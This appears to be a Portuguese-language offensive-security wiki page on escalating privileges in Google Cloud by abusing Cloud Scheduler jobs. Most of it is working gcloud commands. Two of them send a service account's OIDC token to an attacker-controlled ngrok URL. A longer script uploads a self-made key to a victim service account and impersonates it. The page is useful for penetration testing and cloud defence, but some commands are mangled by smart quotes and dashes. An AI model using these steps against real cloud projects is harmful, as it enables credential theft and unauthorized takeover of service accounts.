GCP - Cloud Scheduler Privesc

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Cloud Scheduler

Mais informações em:

GCP - Cloud Scheduler Enum

`cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Um atacante com essas permissões poderia explorar o Cloud Scheduler para autenticar cron jobs como uma Service Account específica. Ao montar uma requisição HTTP POST, o atacante agenda ações, como criar um bucket do Storage, para serem executadas sob a identidade da Service Account. Esse método aproveita a capacidade do Scheduler de direcionar endpoints *.googleapis.com e autenticar requisições, permitindo ao atacante manipular endpoints da Google API diretamente usando um simples comando gcloud.

Contate qualquer API do Google via googleapis.com com cabeçalho de token OAuth

Criar um novo bucket do Storage:

Criar job do Cloud Scheduler para criar bucket GCS via API

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ```

Para escalar privilégios, um attacker simplesmente cria uma requisição HTTP direcionada à API desejada, se fazendo passar pelo Service Account especificado

Exfiltrate OIDC service account token

Criar job do Cloud Scheduler para exfiltrate OIDC token

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

Listen in the ngrok address to get the OIDC token in clear text.

</details>

Se precisar verificar a resposta HTTP você pode simplesmente **dar uma olhada nos logs da execução**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Como no cenário anterior é possível **atualizar um scheduler já criado** para roubar o token ou executar ações. Por exemplo:

<details><summary>Atualizar job existente do Cloud Scheduler para exfiltrar token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Outro exemplo para fazer upload de uma chave privada para uma SA e se passar por ela:

Upload private key to Service Account via Cloud Scheduler and impersonate it

```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"

Remove last new line character of the public key

file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem

Update scheduler to upload the key to a SA

For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND

gcloud scheduler jobs update http scheduler_lab_1
–schedule=‘* * * * *’
–uri=“https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json”
–message-body=“{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}”
–update-headers “Content-Type=application/json”
–location us-central1
–oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

Wait 1 min

sleep 60

Check the logs to check it worked

gcloud logging read ‘resource.type=“cloud_scheduler_job” AND resource.labels.job_id=“scheduler_lab_1” AND resource.labels.location=“us-central1” jsonPayload.@type=“type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished”’ –limit 10 –project –format=json

If any ‘“status”: 200’ it means it worked!

Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: “status”: 400

Build the json to contact the SA

Get privatekey in json format

file_content=$(<“/tmp/private_key.pem”) private_key_json=$(jq -Rn –arg str “$file_content” ‘$str’)

Get ID of the generated key

gcloud iam service-accounts keys list –iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

Create the json in a file

NOTE that you need to export your project-id in the env var PROJECT_ID

and that this script is expecting the key ID to be the first one (check the `head`)

export PROJECT_ID=… cat > /tmp/lab.json <<EOF { “type”: “service_account”, “project_id”: “$PROJECT_ID”, “private_key_id”: “$(gcloud iam service-accounts keys list –iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d “ “ -f 1 | grep -v KEY_ID | head -n 1)”, “private_key”: $private_key_json, “client_email”: “scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com”, “client_id”: “$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d “’” -f 2)“, “auth_uri”: “https://accounts.google.com/o/oauth2/auth”, “token_uri”: “https://oauth2.googleapis.com/token”, “auth_provider_x509_cert_url”: “https://www.googleapis.com/oauth2/v1/certs”, “client_x509_cert_url”: “https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com”, “universe_domain”: “googleapis.com” } EOF

Activate the generated key

gcloud auth activate-service-account –key-file=/tmp/lab.json

</details>

## Referências

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

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